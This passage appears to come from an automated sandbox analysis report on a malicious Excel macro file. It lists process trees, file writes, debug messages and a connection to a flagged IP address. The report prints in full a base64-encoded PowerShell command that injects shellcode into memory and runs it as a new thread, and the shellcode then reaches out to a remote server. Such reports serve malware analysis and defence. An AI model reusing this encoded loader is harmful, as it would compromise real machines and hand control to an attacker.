AZQB4ACAAIgAgACQATgBGACAALQBlACAAJABXAEMAIAAtAG4AbwBlACIA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3388 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABTAGoAPQAnAFsAQQBjAEoAKAAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBxAGYAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBBAGMASgAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABTAEEAWQAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAQQBjAEoAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABjAHoAaQApADsAWwBBAGMASgAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAOwAkAFMAagA9ACQAUwBqAC4AcgBlAHAAbABhAGMAZQAoACIAUwBBAFkAIgAsACAAIgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAiACkAOwAkAFMAagA9ACQAUwBqAC4AcgBlAHAAbABhAGMAZQAoACIARwBxAGYAIgAsACAAIgBjAGEAbABsACIAKwAiAG8AIgArACIAYwAiACkAOwAkAFMAagA9ACQAUwBqAC4AcgBlAHAAbABhAGMAZQAoACIAQQBjAEoAIgAsACAAIgBEAGwAbABJAG0AcABvACIAKwAiAHIAIgArACIAdAAiACkAOwAkAEYAWAA9AEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIAIAAkAFMAagAgAC0ATgBhAG0AZQAgACIAZwByACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAATABlAFMAIAAtAHAAYQBzAHMAOwAkAEgAdgA9ACIAPABmAGMALAA8AGUAOAAsADwAOAAyACwAPAAwADAALAA8ADAAMAAsADwAMAAwACwAPAA2ADAALAA8ADgAOQAsADwAZQA1ACwAPAAzADEALAA8AGMAMAAsADwANgA0ACwAPAA4AGIALAA8ADUAMAAsADwAMwAwACwAPAA4AGIALAA8ADUAMgAsADwAMABjACwAPAA4AGIALAA8ADUAMgAsADwAMQA0ACwAPAA4AGIALAA8ADcAMgAsADwAMgA4ACwAPAAwAGYALAA8AGIANwAsADwANABhACwAPAAyADYALAA8ADMAMQAsADwAZgBmACwAPABhAGMALAA8ADMAYwAsADwANgAxACwAPAA3AGMALAA8ADAAMgAsADwAMgBjACwAPAAyADAALAA8AGMAMQAsADwAYwBmACwAPAAwAGQALAA8ADAAMQAsADwAYwA3ACwAPABlADIALAA8AGYAMgAsADwANQAyACwAPAA1ADcALAA8ADgAYgAsADwANQAyACwAPAAxADAALAA8ADgAYgAsADwANABhACwAPAAzAGMALAA8ADgAYgAsADwANABjACwAPAAxADEALAA8ADcAOAAsADwAZQAzACwAPAA0ADgALAA8ADAAMQAsADwAZAAxACwAPAA1ADEALAA8ADgAYgAsADwANQA5ACwAPAAyADAALAA8ADAAMQAsADwAZAAzACwAPAA4AGIALAA8ADQAOQAsADwAMQA4ACwAPABlADMALAA8ADMAYQAsADwANAA5ACwAPAA4AGIALAA8ADMANAAsADwAOABiACwAPAAwADEALAA8AGQANgAsADwAMwAxACwAPABmAGYALAA8AGEAYwAsADwAYwAxACwAPABjAGYALAA8ADAAZAAsADwAMAAxACwAPABjADcALAA8ADMAOAAsADwAZQAwACwAPAA3ADUALAA8AGYANgAsADwAMAAzACwAPAA3AGQALAA8AGYAOAAsADwAMwBiACwAPAA3AGQALAA8ADIANAAsADwANwA1ACwAPABlADQALAA8ADUAOAAsADwAOABiACwAPAA1ADgALAA8ADIANAAsADwAMAAxACwAPABkADMALAA8ADYANgAsADwAOABiACwAPAAwAGMALAA8ADQAYgAsADwAOABiACwAPAA1ADgALAA8ADEAYwAsADwAMAAxACwAPABkADMALAA8ADgAYgAsADwAMAA0ACwAPAA4AGIALAA8ADAAMQAsADwAZAAwACwAPAA4ADkALAA8ADQANAAsADwAMgA0ACwAPAAyADQALAA8ADUAYgAsADwANQBiACwAPAA2ADEALAA8ADUAOQAsADwANQBhACwAPAA1ADEALAA8AGYAZgAsADwAZQAwACwAPAA1AGYALAA8ADUAZgAsADwANQBhACwAPAA4AGIALAA8ADEAMgAsADwAZQBiACwAPAA4AGQALAA8ADUAZAAsADwANgA4ACwAPAA3ADQALAA8ADcANAAsADwANwAwACwAPAAwADAALAA8ADYAOAAsADwANwA3ACwAPAA2ADkALAA8ADYAZQAsADwANgA4ACwAPAA1ADQALAA8ADYAOAAsADwANABjACwAPAA3ADcALAA8ADIANgAsADwAMAA3ACwAPABmAGYALAA8AGQANQAsADwAMwAxACwAPABkAGIALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA2ADgALAA8ADAANAAsADwAMQBmACwAPAA5AGQALAA8AGIAYgAsADwAZgBmACwAPABkADUALAA8ADUAMwAsADwANgA4ACwAPABiAGIALAA8ADAAMQAsADwAMAAwACwAPAAwADAALAA8AGUAOAAsADwAYgBiACwAPAAwADAALAA8ADAAMAAsADwAMAAwACwAPAAyAGYALAA8ADAAMAAsADwANwA4ACwAPAAwADAALAA8ADUANQAsADwAMAAwACwAPAAzADkALAA8ADAAMAAsADwANQA1ACwAPAAwADAALAA8ADQAOAAsADwAMAAwACwAPAA0ADcALAA8ADAAMAAsADwANgAxACwAPAAwADAALAA8ADYAMgAsADwAMAAwACwAPAA0AGIALAA8ADAAMAAsADwANAA3ACwAPAAwADAALAA8ADYAMgAsADwAMAAwACwAPAA2ADYALAA8ADAAMAAsADwAMwAyACwAPAAwADAALAA8ADYANAAsADwAMAAwACwAPAAzADcALAA8ADAAMAAsADwANQA5ACwAPAAwADAALAA8ADYANwAsADwAMAAwACwAPAAzADQALAA8ADAAMAAsADwANQA4ACwAPAAwADAALAA8ADUANAAsADwAMAAwACwAPAA0ADQALAA8ADAAMAAsADwANAAxACwAPAAwADAALAA8ADMANQAsADwAMAAwACwAPAA2ADYALAA8ADAAMAAsADwAMwAzACwAPAAwADAALAA8ADUANAAsADwAMAAwACwAPAA1AGYALAA8ADAAMAAsADwANgBjACwAPAAwADAALAA8ADcANgAsADwAMAAwACwAPAAwADAALAA8ADAAMAAsADwANQAwACwAPAA2ADgALAA8ADQANgAsADwAOQBiACwAPAAxAGUALAA8AGMAMgAsADwAZgBmACwAPABkADUALAA8ADYAOAAsADwAMAAwACwAPAAwADEALAA8ADAAMAAsADwAMAAwACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADcALAA8ADUAMwAsADwANQAwACwAPAA2ADgALAA8ADkAOAAsADwAMQAwACwAPABiADMALAA8ADUAYgAsADwAZgBmACwAPABkADUALAA8ADkANgAsADwANgBhACwAPAAwADEALAA8ADUAZgAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQA2ACwAPAA2ADgALAA8ADkANQAsADwANQA4ACwAPABiAGIALAA8ADkAMQAsADwAZgBmACwAPABkADUALAA8ADgANQAsADwAYwAwACwAPAA3ADUALAA8ADAAYQAsADwANABmACwAPAA3ADUALAA8AGUAYgAsADwANgA4ACwAPABmADAALAA8AGIANQAsADwAYQAyACwAPAA1ADYALAA8AGYAZgAsADwAZAA1ACwAPAA1ADMALAA8ADUANgAsADwANgA4ACwAPAAwADUALAA8ADgAOAAsADwAOQBkACwAPAA3ADAALAA8AGYAZgAsADwAZAA1ACwAPAA4ADUALAA8AGMAMAAsADwANwA0ACwAPABlAGMALAA8ADYAYQAsADwANAAwACwAPAA2ADgALAA8ADAAMAAsADwAMQAwACwAPAAwADAALAA8ADAAMAAsADwANgA4ACwAPAAwADAALAA8ADAAMAAsADwANAAwACwAPAAwADAALAA8ADUAMwAsADwANgA4ACwAPAA1ADgALAA8AGEANAAsADwANQAzACwAPABlADUALAA8AGYAZgAsADwAZAA1ACwAPAA5ADMALAA8ADUAMwAsADwANQAzACwAPAA4ADkALAA8AGUANwAsADwANQA3ACwAPAA2ADgALAA8ADAAMAAsADwAMgAwACwAPAAwADAALAA8ADAAMAAsADwANQAzACwAPAA1ADYALAA8ADYAOAAsADwANgBjACwAPAAyADkALAA8ADIANAAsADwANwBlACwAPABmAGYALAA8AGQANQAsADwAOAA1ACwAPABjADAALAA8ADcANAAsADwAYwAwACwAPAA4AGIALAA8ADAANwAsADwAMAAxACwAPABjADMALAA8ADgANQAsADwAYwAwACwAPAA3ADUALAA8AGUANQAsADwANQA4ACwAPABjADMALAA8ADUAZgAsADwAZQA4ACwAPAA3AGQALAA8AGYAZgAsADwAZgBmACwAPABmAGYALAA8ADMAMQAsADwAMAAwACwAPAAzADYALAA8ADAAMAAsADwAMwA5ACwAPAAwADAALAA8ADIAZQAsADwAMAAwACwAPAAzADUALAA8ADAAMAAsADwAMwAwACwAPAAwADAALAA8ADIAZQAsADwAMAAwACwAPAAzADgALAA8ADAAMAAsADwAMwA2ACwAPAAwADAALAA8ADIAZQAsADwAMAAwACwAPAAzADIALAA8ADAAMAAsADwAMwAxACwAPAAwADAALAA8ADMAMwAsADwAMAAwACwAPAAwADAALAA8ADAAMAAiADsAJABGAFgAPQAkAEYAWAAuAHIAZQBwAGwAYQBjAGUAKAAiAEwAZQBTACIALAAgACIAVwAiACsAIgBpACIAKwAiAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAEgAdgAgAD0AIAAkAEgAdgAuAHIAZQBwAGwAYQBjAGUAKAAiADwAIgAsACIAMAB4ACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAFcAUwA9ADAAeAAxADAAMAA1ADsAaQBmACAAKAAkAEgAdgAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAA1ACkAewAkAFcAUwA9ACQASAB2AC4ATAB9ADsAJABVAEIAPQAkAEYAWAA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAANQAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQAYwB6AGkAIAA9ACAAMAA7AGYAbwByACgAJABGAFIAPQAwADsAJABGAFIAIAAtAGwAZQAoACQASAB2AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAEYAUgArACsAKQB7ACQARgBYADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAVQBCAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAEYAUgApACwAIAAkAEgAdgBbACQARgBSAF0ALAAgADEAKQB9ADsAJABGAFgAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAVQBCACwAIAAwAHgAMQAwADAANQAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQAYwB6AGkAKQA7ACQARgBYADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwAHgAMAAwACwAJABVAEIALAAwACwAMAAsADAAKQA7AA== -noe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1752066423 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2224 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\taofwfxh.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) | ||||
1816 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES9D50.tmp" "c:\Users\admin\AppData\Local\Temp\CSC9D4F.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3380 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR887F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3660 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6GQDB2XP8C0Y5AXFJTH1.temp | — | |
MD5:— | SHA256:— | |||
2736 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WH33PQEAE5PVYYC8BPD8.temp | — | |
MD5:— | SHA256:— | |||
3388 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\95HDWXWEMJ275NLIWTPR.temp | — | |
MD5:— | SHA256:— | |||
1816 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES9D50.tmp | — | |
MD5:— | SHA256:— | |||
2224 | csc.exe | C:\Users\admin\AppData\Local\Temp\taofwfxh.dll | — | |
MD5:— | SHA256:— | |||
2224 | csc.exe | C:\Users\admin\AppData\Local\Temp\taofwfxh.out | — | |
MD5:— | SHA256:— | |||
3380 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\521EE7FF.png | — | |
MD5:— | SHA256:— | |||
3380 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~$c06d7b42ce0a5d901af8dd538e310046.xlsm | — | |
MD5:— | SHA256:— | |||
3380 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFD77CBE28AFC82E1B.TMP | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3388 | powershell.exe | GET | — | 169.50.86.213:443 | http://169.50.86.213:443/xU9UHGabKGbf2d7Yg4XTDA5f3T_lv | US | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3388 | powershell.exe | 169.50.86.213:443 | — | SoftLayer Technologies Inc. | US | malicious |
Process | Message |
---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|